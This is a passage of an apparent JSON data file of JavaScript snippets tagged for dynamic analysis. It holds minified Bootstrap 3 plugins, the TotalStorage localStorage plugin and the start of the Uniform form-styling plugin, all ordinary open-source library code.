0):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass(\"in\")?\"hide\":\"show\"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.collapse\"),f=a.extend({},b.DEFAULTS,d.data(),\"object\"==typeof c&&c);e||d.data(\"bs.collapse\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on(\"click.bs.collapse.data-api\",\"[data-toggle=collapse]\",function(b){var c,d=a(this),e=d.attr(\"data-target\")||b.preventDefault()||(c=d.attr(\"href\"))&&c.replace(/.*(?=#[^\\s]+$)/,\"\"),f=a(e),g=f.data(\"bs.collapse\"),h=g?\"toggle\":d.data(),i=d.attr(\"data-parent\"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent=\"'+i+'\"]').not(d).addClass(\"collapsed\"),d[f.hasClass(\"in\")?\"addClass\":\"removeClass\"](\"collapsed\")),f.collapse(h)})}(window.jQuery),+function(a){\"use strict\";function b(){a(d).remove(),a(e).each(function(b){var d=c(a(this));d.hasClass(\"open\")&&(d.trigger(b=a.Event(\"hide.bs.dropdown\")),b.isDefaultPrevented()||d.removeClass(\"open\").trigger(\"hidden.bs.dropdown\"))})}function c(b){var c=b.attr(\"data-target\");c||(c=b.attr(\"href\"),c=c&&/#/.test(c)&&c.replace(/.*(?=#[^\\s]*$)/,\"\"));var d=c&&a(c);return d&&d.length?d:b.parent()}var d=\".dropdown-backdrop\",e=\"[data-toggle=dropdown]\",f=function(b){a(b).on(\"click.bs.dropdown\",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(\".disabled, :disabled\")){var f=c(e),g=f.hasClass(\"open\");if(b(),!g){if(\"ontouchstart\"in document.documentElement&&a('<div class=\"dropdown-backdrop\"/>').insertAfter(a(this)).on(\"click\",b),f.trigger(d=a.Event(\"show.bs.dropdown\")),d.isDefaultPrevented())return;f.toggleClass(\"open\").trigger(\"shown.bs.dropdown\")}return e.focus(),!1}},f.prototype.keydown=function(b){if(/(38|40|27)/.test(b.keyCode)){var d=a(this);if(b.preventDefault(),b.stopPropagation(),!d.is(\".disabled, :disabled\")){var f=c(d),g=f.hasClass(\"open\");if(!g||g&&27==b.keyCode)return 27==b.which&&f.find(e).focus(),d.click();var h=a(\"[role=menu] li:not(.divider):visible a\",f);if(h.length){var i=h.index(h.filter(\":focus\"));38==b.keyCode&&i>0&&i--,40==b.keyCode&&i<h.length-1&&i++,~i||(i=0),h.eq(i).focus()}}}};var g=a.fn.dropdown;a.fn.dropdown=function(b){return this.each(function(){var c=a(this),d=c.data(\"dropdown\");d||c.data(\"dropdown\",d=new f(this)),\"string\"==typeof b&&d[b].call(c)})},a.fn.dropdown.Constructor=f,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=g,this},a(document).on(\"click.bs.dropdown.data-api\",b).on(\"click.bs.dropdown.data-api\",\".dropdown form\",function(a){a.stopPropagation()}).on(\"click.bs.dropdown.data-api\",e,f.prototype.toggle).on(\"keydown.bs.dropdown.data-api\",e+\", [role=menu]\",f.prototype.keydown)}(window.jQuery),+function(a){\"use strict\";var b=function(b,c){this.options=c,this.$element=a(b).on(\"click.dismiss.modal\",'[data-dismiss=\"modal\"]',a.proxy(this.hide,this)),this.$backdrop=this.isShown=null,this.options.remote&&this.$element.load(this.options.remote)};b.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},b.prototype.toggle=function(a){return this[this.isShown?\"hide\":\"show\"](a)},b.prototype.show=function(b){var c=this,d=a.Event(\"show.bs.modal\",{relatedTarget:b});this.$element.trigger(d),this.isShown||d.isDefaultPrevented()||(this.isShown=!0,this.escape(),this.backdrop(function(){var d=a.support.transition&&c.$element.hasClass(\"fade\");c.$element.parent().length||c.$element.appendTo(document.body),c.$element.show(),d&&c.$element[0].offsetWidth,c.$element.addClass(\"in\").attr(\"aria-hidden\",!1),c.enforceFocus();var e=a.Event(\"shown.bs.modal\",{relatedTarget:b});d?c.$element.one(a.support.transition.end,function(){c.$element.focus().trigger(e)}).emulateTransitionEnd(300):c.$element.focus().trigger(e)}))},b.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event(\"hide.bs.modal\"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),a(document).off(\"focusin.bs.modal\"),this.$element.removeClass(\"in\").attr(\"aria-hidden\",!0).off(\"click.dismiss.modal\"),a.support.transition&&this.$element.hasClass(\"fade\")?this.$element.one(a.support.transition.end,a.proxy(this.hideModal,this)).emulateTransitionEnd(300):this.hideModal())},b.prototype.enforceFocus=function(){a(document).off(\"focusin.bs.modal\").on(\"focusin.bs.modal\",a.proxy(function(a){this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.focus()},this))},b.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on(\"keyup.dismiss.bs.modal\",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off(\"keyup.dismiss.bs.modal\")},b.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.removeBackdrop(),a.$element.trigger(\"hidden.bs.modal\")})},b.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},b.prototype.backdrop=function(b){var c=this.$element.hasClass(\"fade\")?\"fade\":\"\";if(this.isShown&&this.options.backdrop){var d=a.support.transition&&c;if(this.$backdrop=a('<div class=\"modal-backdrop '+c+'\" />').appendTo(document.body),this.$element.on(\"click.dismiss.modal\",a.proxy(function(a){a.target===a.currentTarget&&(\"static\"==this.options.backdrop?this.$element[0].focus.call(this.$element[0]):this.hide.call(this))},this)),d&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass(\"in\"),!b)return;d?this.$backdrop.one(a.support.transition.end,b).emulateTransitionEnd(150):b()}else!this.isShown&&this.$backdrop?(this.$backdrop.removeClass(\"in\"),a.support.transition&&this.$element.hasClass(\"fade\")?this.$backdrop.one(a.support.transition.end,b).emulateTransitionEnd(150):b()):b&&b()};var c=a.fn.modal;a.fn.modal=function(c,d){return this.each(function(){var e=a(this),f=e.data(\"bs.modal\"),g=a.extend({},b.DEFAULTS,e.data(),\"object\"==typeof c&&c);f||e.data(\"bs.modal\",f=new b(this,g)),\"string\"==typeof c?f[c](d):g.show&&f.show(d)})},a.fn.modal.Constructor=b,a.fn.modal.noConflict=function(){return a.fn.modal=c,this},a(document).on(\"click.bs.modal.data-api\",'[data-toggle=\"modal\"]',function(b){var c=a(this),d=c.attr(\"href\"),e=a(c.attr(\"data-target\")||d&&d.replace(/.*(?=#[^\\s]+$)/,\"\")),f=e.data(\"modal\")?\"toggle\":a.extend({remote:!/#/.test(d)&&d},e.data(),c.data());b.preventDefault(),e.modal(f,this).one(\"hide\",function(){c.is(\":visible\")&&c.focus()})}),a(document).on(\"shown.bs.modal\",\".modal\",function(){a(document.body).addClass(\"modal-open\")}).on(\"hidden.bs.modal\",\".modal\",function(){a(document.body).removeClass(\"modal-open\")})}(window.jQuery),+function(a){\"use strict\";var b=function(a,b){this.type=this.options=this.enabled=this.timeout=this.hoverState=this.$element=null,this.init(\"tooltip\",a,b)};b.DEFAULTS={animation:!0,placement:\"top\",selector:!1,template:'<div class=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',trigger:\"hover focus\",title:\"\",delay:0,html:!1,container:!1},b.prototype.init=function(b,c,d){this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d);for(var e=this.options.trigger.split(\" \"),f=e.length;f--;){var g=e[f];if(\"click\"==g)this.$element.on(\"click.\"+this.type,this.options.selector,a.proxy(this.toggle,this));else if(\"manual\"!=g){var h=\"hover\"==g?\"mouseenter\":\"focus\",i=\"hover\"==g?\"mouseleave\":\"blur\";this.$element.on(h+\".\"+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+\".\"+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:\"manual\",selector:\"\"}):this.fixTitle()},b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&\"number\"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},b.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},b.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget)[this.type](this.getDelegateOptions()).data(\"bs.\"+this.type);return clearTimeout(c.timeout),c.options.delay&&c.options.delay.show?(c.hoverState=\"in\",c.timeout=setTimeout(function(){\"in\"==c.hoverState&&c.show()},c.options.delay.show),void 0):c.show()},b.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget)[this.type](this.getDelegateOptions()).data(\"bs.\"+this.type);return clearTimeout(c.timeout),c.options.delay&&c.options.delay.hide?(c.hoverState=\"out\",c.timeout=setTimeout(function(){\"out\"==c.hoverState&&c.hide()},c.options.delay.hide),void 0):c.hide()},b.prototype.show=function(){var b=a.Event(\"show.bs.\"+this.type);if(this.hasContent()&&this.enabled){if(this.$element.trigger(b),b.isDefaultPrevented())return;var c=this.tip();this.setContent(),this.options.animation&&c.addClass(\"fade\");var d=\"function\"==typeof this.options.placement?this.options.placement.call(this,c[0],this.$element[0]):this.options.placement,e=/\\s?auto?\\s?/i,f=e.test(d);f&&(d=d.replace(e,\"\")||\"top\"),c.detach().css({top:0,left:0,display:\"block\"}).addClass(d),this.options.container?c.appendTo(this.options.container):c.insertAfter(this.$element);var g=this.getPosition(),h=c[0].offsetWidth,i=c[0].offsetHeight;if(f){var j=this.$element.parent(),k=d,l=document.documentElement.scrollTop||document.body.scrollTop,m=\"body\"==this.options.container?window.innerWidth:j.outerWidth(),n=\"body\"==this.options.container?window.innerHeight:j.outerHeight(),o=\"body\"==this.options.container?0:j.offset().left;d=\"bottom\"==d&&g.top+g.height+i-l>n?\"top\":\"top\"==d&&g.top-l-i<0?\"bottom\":\"right\"==d&&g.right+h>m?\"left\":\"left\"==d&&g.left-h<o?\"right\":d,c.removeClass(k).addClass(d)}var p=this.getCalculatedOffset(d,g,h,i);this.applyPlacement(p,d),this.$element.trigger(\"shown.bs.\"+this.type)}},b.prototype.applyPlacement=function(a,b){var c,d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css(\"margin-top\"),10),h=parseInt(d.css(\"margin-left\"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),a.top=a.top+g,a.left=a.left+h,d.offset(a).addClass(\"in\");var i=d[0].offsetWidth,j=d[0].offsetHeight;if(\"top\"==b&&j!=f&&(c=!0,a.top=a.top+f-j),/bottom|top/.test(b)){var k=0;a.left<0&&(k=-2*a.left,a.left=0,d.offset(a),i=d[0].offsetWidth,j=d[0].offsetHeight),this.replaceArrow(k-e+i,i,\"left\")}else this.replaceArrow(j-f,j,\"top\");c&&d.offset(a)},b.prototype.replaceArrow=function(a,b,c){this.arrow().css(c,a?50*(1-a/b)+\"%\":\"\")},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(\".tooltip-inner\")[this.options.html?\"html\":\"text\"](b),a.removeClass(\"fade in top bottom left right\")},b.prototype.hide=function(){function b(){c.detach()}var c=this.tip(),d=a.Event(\"hide.bs.\"+this.type);return this.$element.trigger(d),d.isDefaultPrevented()?void 0:(c.removeClass(\"in\"),a.support.transition&&this.$tip.hasClass(\"fade\")?c.one(a.support.transition.end,b).emulateTransitionEnd(150):b(),this.$element.trigger(\"hidden.bs.\"+this.type),this)},b.prototype.fixTitle=function(){var a=this.$element;(a.attr(\"title\")||\"string\"!=typeof a.attr(\"data-original-title\"))&&a.attr(\"data-original-title\",a.attr(\"title\")||\"\").attr(\"title\",\"\")},b.prototype.hasContent=function(){return this.getTitle()},b.prototype.getPosition=function(){var b=this.$element[0];return a.extend({},\"function\"==typeof b.getBoundingClientRect?b.getBoundingClientRect():{width:b.offsetWidth,height:b.offsetHeight},this.$element.offset())},b.prototype.getCalculatedOffset=function(a,b,c,d){return\"bottom\"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:\"top\"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:\"left\"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},b.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr(\"data-original-title\")||(\"function\"==typeof c.title?c.title.call(b[0]):c.title)},b.prototype.tip=function(){return this.$tip=this.$tip||a(this.options.template)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(\".tooltip-arrow\")},b.prototype.validate=function(){this.$element[0].parentNode||(this.hide(),this.$element=null,this.options=null)},b.prototype.enable=function(){this.enabled=!0},b.prototype.disable=function(){this.enabled=!1},b.prototype.toggleEnabled=function(){this.enabled=!this.enabled},b.prototype.toggle=function(b){var c=b?a(b.currentTarget)[this.type](this.getDelegateOptions()).data(\"bs.\"+this.type):this;c.tip().hasClass(\"in\")?c.leave(c):c.enter(c)},b.prototype.destroy=function(){this.hide().$element.off(\".\"+this.type).removeData(\"bs.\"+this.type)};var c=a.fn.tooltip;a.fn.tooltip=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.tooltip\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.tooltip\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.tooltip.Constructor=b,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=c,this}}(window.jQuery),+function(a){\"use strict\";var b=function(a,b){this.init(\"popover\",a,b)};if(!a.fn.tooltip)throw new Error(\"Popover requires tooltip.js\");b.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:\"right\",trigger:\"click\",content:\"\",template:'<div class=\"popover\"><div class=\"arrow\"></div><h3 class=\"popover-title\"></h3><div class=\"popover-content\"></div></div>'}),b.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),b.prototype.constructor=b,b.prototype.getDefaults=function(){return b.DEFAULTS},b.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(\".popover-title\")[this.options.html?\"html\":\"text\"](b),a.find(\".popover-content\")[this.options.html?\"html\":\"text\"](c),a.removeClass(\"fade top bottom left right in\"),a.find(\".popover-title\").html()||a.find(\".popover-title\").hide()},b.prototype.hasContent=function(){return this.getTitle()||this.getContent()},b.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr(\"data-content\")||(\"function\"==typeof b.content?b.content.call(a[0]):b.content)},b.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(\".arrow\")},b.prototype.tip=function(){return this.$tip||(this.$tip=a(this.options.template)),this.$tip};var c=a.fn.popover;a.fn.popover=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.popover\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.popover\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.popover.Constructor=b,a.fn.popover.noConflict=function(){return a.fn.popover=c,this}}(window.jQuery),+function(a){\"use strict\";function b(c,d){var e,f=a.proxy(this.process,this);this.$element=a(c).is(\"body\")?a(window):a(c),this.$body=a(\"body\"),this.$scrollElement=this.$element.on(\"scroll.bs.scroll-spy.data-api\",f),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||(e=a(c).attr(\"href\"))&&e.replace(/.*(?=#[^\\s]+$)/,\"\")||\"\")+\" .nav li > a\",this.offsets=a([]),this.targets=a([]),this.activeTarget=null,this.refresh(),this.process()}b.DEFAULTS={offset:10},b.prototype.refresh=function(){var b=this.$element[0]==window?\"offset\":\"position\";this.offsets=a([]),this.targets=a([]);var c=this;this.$body.find(this.selector).map(function(){var d=a(this),e=d.data(\"target\")||d.attr(\"href\"),f=/^#\\w/.test(e)&&a(e);return f&&f.length&&[[f[b]().top+(!a.isWindow(c.$scrollElement.get(0))&&c.$scrollElement.scrollTop()),e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){c.offsets.push(this[0]),c.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,d=c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(b>=d)return g!=(a=f.last()[0])&&this.activate(a);for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(!e[a+1]||b<=e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,a(this.selector).parents(\".active\").removeClass(\"active\");var c=this.selector+'[data-target=\"'+b+'\"],'+this.selector+'[href=\"'+b+'\"]',d=a(c).parents(\"li\").addClass(\"active\");d.parent(\".dropdown-menu\").length&&(d=d.closest(\"li.dropdown\").addClass(\"active\")),d.trigger(\"activate\")};var c=a.fn.scrollspy;a.fn.scrollspy=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.scrollspy\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.scrollspy\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=c,this},a(window).on(\"load\",function(){a('[data-spy=\"scroll\"]').each(function(){var b=a(this);b.scrollspy(b.data())})})}(window.jQuery),+function(a){\"use strict\";var b=function(b){this.element=a(b)};b.prototype.show=function(){var b=this.element,c=b.closest(\"ul:not(.dropdown-menu)\"),d=b.attr(\"data-target\");if(d||(d=b.attr(\"href\"),d=d&&d.replace(/.*(?=#[^\\s]*$)/,\"\")),!b.parent(\"li\").hasClass(\"active\")){var e=c.find(\".active:last a\")[0],f=a.Event(\"show.bs.tab\",{relatedTarget:e});if(b.trigger(f),!f.isDefaultPrevented()){var g=a(d);this.activate(b.parent(\"li\"),c),this.activate(g,g.parent(),function(){b.trigger({type:\"shown.bs.tab\",relatedTarget:e})})}}},b.prototype.activate=function(b,c,d){function e(){f.removeClass(\"active\").find(\"> .dropdown-menu > .active\").removeClass(\"active\"),b.addClass(\"active\"),g?(b[0].offsetWidth,b.addClass(\"in\")):b.removeClass(\"fade\"),b.parent(\".dropdown-menu\")&&b.closest(\"li.dropdown\").addClass(\"active\"),d&&d()}var f=c.find(\"> .active\"),g=d&&a.support.transition&&f.hasClass(\"fade\");g?f.one(a.support.transition.end,e).emulateTransitionEnd(150):e(),f.removeClass(\"in\")};var c=a.fn.tab;a.fn.tab=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.tab\");e||d.data(\"bs.tab\",e=new b(this)),\"string\"==typeof c&&e[c]()})},a.fn.tab.Constructor=b,a.fn.tab.noConflict=function(){return a.fn.tab=c,this},a(document).on(\"click.bs.tab.data-api\",'[data-toggle=\"tab\"], [data-toggle=\"pill\"]',function(b){b.preventDefault(),a(this).tab(\"show\")})}(window.jQuery),+function(a){\"use strict\";var b=function(c,d){this.options=a.extend({},b.DEFAULTS,d),this.$window=a(window).on(\"scroll.bs.affix.data-api\",a.proxy(this.checkPosition,this)).on(\"click.bs.affix.data-api\",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(c),this.affixed=this.unpin=null,this.checkPosition()};b.RESET=\"affix affix-top affix-bottom\",b.DEFAULTS={offset:0},b.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},b.prototype.checkPosition=function(){if(this.$element.is(\":visible\")){var c=a(document).height(),d=this.$window.scrollTop(),e=this.$element.offset(),f=this.options.offset,g=f.top,h=f.bottom;\"object\"!=typeof f&&(h=g=f),\"function\"==typeof g&&(g=f.top()),\"function\"==typeof h&&(h=f.bottom());var i=null!=this.unpin&&d+this.unpin<=e.top?!1:null!=h&&e.top+this.$element.height()>=c-h?\"bottom\":null!=g&&g>=d?\"top\":!1;this.affixed!==i&&(this.unpin&&this.$element.css(\"top\",\"\"),this.affixed=i,this.unpin=\"bottom\"==i?e.top-d:null,this.$element.removeClass(b.RESET).addClass(\"affix\"+(i?\"-\"+i:\"\")),\"bottom\"==i&&this.$element.offset({top:document.body.offsetHeight-h-this.$element.height()}))}};var c=a.fn.affix;a.fn.affix=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.affix\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.affix\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.affix.Constructor=b,a.fn.affix.noConflict=function(){return a.fn.affix=c,this},a(window).on(\"load\",function(){a('[data-spy=\"affix\"]').each(function(){var b=a(this),c=b.data();c.offset=c.offset||{},c.offsetBottom&&(c.offset.bottom=c.offsetBottom),c.offsetTop&&(c.offset.top=c.offsetTop),b.affix(c)})})}(window.jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * TotalStorage * * Copyright (c) 2012 Jared Novack & Upstatement (upstatement.com) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * Total Storage is the conceptual the love child of jStorage by Andris Reinman, * and Cookie by Klaus Hartl -- though this is not connected to either project. * * @name $.totalStorage * @cat Plugins/Cookie * @author Jared Novack/jared@upstatement.com * @version 1.1.2 * @url http://upstatement.com/blog/2012/01/jquery-local-storage-done-right-and-easy/ */(function($){var ls=window.localStorage;var supported;if(typeof ls=='undefined'||typeof window.JSON=='undefined'){supported=false;}else{supported=true;}$.totalStorage=function(key,value,options){return $.totalStorage.impl.init(key,value);}$.totalStorage.setItem=function(key,value){return $.totalStorage.impl.setItem(key,value);}$.totalStorage.getItem=function(key){return $.totalStorage.impl.getItem(key);}$.totalStorage.getAll=function(){return $.totalStorage.impl.getAll();}$.totalStorage.deleteItem=function(key){return $.totalStorage.impl.deleteItem(key);}$.totalStorage.impl={init:function(key,value){if(typeof value!='undefined'){return this.setItem(key,value);}else{return this.getItem(key);}},setItem:function(key,value){if(!supported){try{$.cookie(key,value);return value;}catch(e){console.log('Local Storage not supported by this browser. Install the cookie plugin on your site to take advantage of the same functionality. You can get it at https://github.com/carhartl/jquery-cookie');}}var saver=JSON.stringify(value);ls.setItem(key,saver);return this.parseResult(saver);},getItem:function(key){if(!supported){try{return this.parseResult($.cookie(key));}catch(e){return null;}}return this.parseResult(ls.getItem(key));},deleteItem:function(key){if(!supported){try{$.cookie(key,null);return true;}catch(e){return false;}}ls.removeItem(key);return true;},getAll:function(){var items=new Array();if(!supported){try{var pairs=document.cookie.split(\";\");for(var i=0;i<pairs.length;i++){var pair=pairs[i].split('=');var key=pair[0];items.push({key:key,value:this.parseResult($.cookie(key))});}}catch(e){return null;}}else{for(var i in ls){if(i.length){items.push({key:i,value:this.parseResult(ls.getItem(i))});}}}return items;},parseResult:function(res){var ret;try{ret=JSON.parse(res);if(ret=='true'){ret=true;}if(ret=='false'){ret=false;}if(parseFloat(ret)==ret&&typeof ret!=\"object\"){ret=parseFloat(ret);}}catch(e){}return ret;}}})(jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*Uniform v2.1.2Copyright Š 2009 Josh Pyles / Pixelmatrix Design LLChttp://pixelmatrixdesign.comRequires jQuery 1.3 or newerMuch thanks to Thomas Reynolds and Buck Wilson for their help and advice onthis.Disabling text selection is made possible by Mathias Bynens<http://mathiasbynens.be/> and his noSelect plugin.<https://github.com/mathiasbynens/jquery-noselect>, which is embedded.Also, thanks to David Kaneda and Eugene Bond for their contributions to theplugin.Tyler Akins has also rewritten chunks of the plugin, helped close many issues,and ensured version 2 got out the door.License:MIT License - http://www.opensource.org/licenses/mit-license.phpEnjoy!*//*global jQuery, document, navigator*/(function (wind, $, undef) { \"use strict\"; /** * Use .prop() if jQuery supports it, otherwise fall back to .attr() * * @param jQuery $el jQuery'd element on which we're calling attr/prop * @param ... All other parameters are passed to jQuery's function * @return The result from jQuery */ function attrOrProp($el) { var args = Array.prototype.slice.call(arguments, 1); if ($el.prop) { // jQuery 1.6+ return $el.prop.apply($el, args); } // jQuery 1.5 and below return $el.attr.apply($el, args); } /** * For backwards compatibility with older jQuery libraries, only bind * one thing at a time. Also, this function adds our namespace to * events in one consistent location, shrinking the minified code. * * The properties on the events object are the names of the events * that we are supposed to add to. It can be a space separated list. * The namespace will be added automatically. * * @param jQuery $el * @param Object options Uniform options for this element * @param Object events Events to bind, properties are event names */ function bindMany($el, options, events) { var name, namespaced; for (name in events) { if (events.hasOwnProperty(name)) { namespaced = name.replace(/ |$/g, options.eventNamespace); $el.bind(namespaced, events[name]); } } } /** * Bind the hover, active, focus, and blur UI updates * * @param jQuery $el Original element * @param jQuery $target Target for the events (our div/span) * @param Object options Uniform options for the element $target */ function bindUi($el, $target, options) { bindMany($el, options, { focus: function () { $target.addClass(options.focusClass); }, blur: function () { $target.removeClass(options.focusClass); $target.removeClass(options.activeClass); }, mouseenter: function () { $target.addClass(options.hoverClass); }, mouseleave: function () { $target.removeClass(options.hoverClass); $target.removeClass(options.activeClass); }, \"mousedown touchbegin\": function () { if (!$el.is(\":disabled\")) { $target.addClass(options.activeClass); } }, \"mouseup touchend\": function () { $target.removeClass(options.activeClass); } }); } /** * Remove the hover, focus, active classes. * * @param jQuery $el Element with classes * @param Object options Uniform options for the element */ function classClearStandard($el, options) { $el.removeClass(options.hoverClass + \" \" + options.focusClass + \" \" + options.activeClass); } /** * Add or remove a class, depending on if it's \"enabled\" * * @param jQuery $el Element that has the class added/removed * @param String className Class or classes to add/remove * @param Boolean enabled True to add the class, false to remove */ function classUpdate($el, className, enabled) { if (enabled) { $el.addClass(className); } else { $el.removeClass(className); } } /** * Updating the \"checked\" property can be a little tricky. This * changed in jQuery 1.6 and now we can pass booleans to .prop(). * Prior to that, one either adds an attribute (\"checked=checked\") or * removes the attribute. * * @param jQuery $tag Our Uniform span/div * @param jQuery $el Original form element * @param Object options Uniform options for this element */ function classUpdateChecked($tag, $el, options) { var c = \"checked\", isChecked = $el.is(\":\" + c); if ($el.prop) { // jQuery 1.6+ $el.prop(c, isChecked); } else { // jQuery 1.5 and below if (isChecked) { $el.attr(c, c); } else { $el.removeAttr(c); } } classUpdate($tag, options.checkedClass, isChecked); } /** * Set or remove the \"disabled\" class for disabled elements, based on * if the element is detected to be disabled. * * @param jQuery $tag Our Uniform span/div * @param jQuery $el Original form element * @param Object options Uniform options for this element */ function classUpdateDisabled($tag, $el, options) { classUpdate($tag, options.disabledClass, $el.is(\":disabled\")); } /** * Wrap an element inside of a container or put the container next * to the element. See the code for examples of the different methods. * * Returns the container that was added to the HTML. * * @param jQuery $el Element to wrap * @param jQuery $container Add this new container around/near $el * @param String method One of \"after\", \"before\" or \"wrap\" * @return $container after it has been cloned for adding to $el */ function divSpanWrap($el, $container, method) { switch (method) { case \"after\": // Result: <element /> <container /> $el.after($container); return $el.next(); case \"before\": // Result: <container /> <element /> $el.before($container); return $el.prev(); case \"wrap\": // Result: <container> <element /> </container> $el.wrap($container); return $el.parent(); } return null; } /** * Create a div/span combo for uniforming an element * * @param jQuery $el Element to wrap * @param Object options Options for the element, set by the user * @param Object divSpanConfig Options for how we wrap the div/span * @return Object Contains the div and span as properties */ function divSpan($el, options, divSpanConfig) { var $div, $span, id; if (!divSpanConfig) { divSpanConfig = {}; } divSpanConfig = $.extend({ bind: {}, divClass: null, divWrap: \"wrap\", spanClass: null, spanHtml: null, spanWrap: \"wrap\" }, divSpanConfig); $div = $('<div />'); $span = $('<span />'); // Automatically hide this div/span if the element is hidden. // Do not hide if the element is hidden because a parent is hidden. if (options.autoHide && $el.is(':hidden') && $el.css('display') === 'none') { $div.hide(); } if (divSpanConfig.divClass) { $div.addClass(divSpanConfig.divClass); } if (options.wrapperClass) { $div.addClass(options.wrapperClass); } if (divSpanConfig.spanClass) { $span.addClass(divSpanConfig.spanClass); } id = attrOrProp($el, 'id'); if (options.useID && id) { attrOrProp($div, 'id', options.idPrefix + '-' + id); } if (divSpanConfig.spanHtml) { $span.html(divSpanConfig.spanHtml); } $div = divSpanWrap($el, $div, divSpanConfig.divWrap); $span = divSpanWrap($el, $span, divSpanConfig.spanWrap); classUpdateDisabled($div, $el, options); return { div: $div, span: $span }; } /** * Wrap an element with a span to apply a global wrapper class * * @param jQuery $el Element to wrap * @param object options * @return jQuery Wrapper element */ function wrapWithWrapperClass($el, options) { var $span; if (!options.wrapperClass) { return null; } $span = $('<span />').addClass(options.wrapperClass); $span = divSpanWrap($el, $span, \"wrap\"); return $span; } /** * Test if high contrast mode is enabled. * * In high contrast mode, background images can not be set and * they are always returned as 'none'. * * @return boolean True if in high contrast mode */ function highContrast() { var c, $div, el, rgb; // High contrast mode deals with white and black rgb = 'rgb(120,2,153)'; $div = $('<div style=\"width:0;height:0;color:' + rgb + '\">'); $('body').append($div); el = $div.get(0); // $div.css() will get the style definition, not // the actually displaying style if (wind.getComputedStyle) { c = wind.getComputedStyle(el, '').color; } else { c = (el.currentStyle || el.style || {}).color; } $div.remove(); return c.replace(/ /g, '') !== rgb; } /** * Change text into safe HTML * * @param String text * @return String HTML version */ function htmlify(text) { if (!text) { return \"\"; } return $('<span />').text(text).html(); } /** * If not MSIE, return false. * If it is, return the version number. * * @return false|number */ function isMsie() { return navigator.cpuClass && !navigator.product; } /** * Return true if this version of IE allows styling * * @return boolean */ function isMsieSevenOrNewer() { if (wind.XMLHttpRequest !== undefined) { return true; } return false; } /** * Test if the element is a multiselect * * @param jQuery $el Element * @return boolean true/false */ function isMultiselect($el) { var elSize; if ($el[0].multiple) { return true; } elSize = attrOrProp($el, \"size\"); if (!elSize || elSize 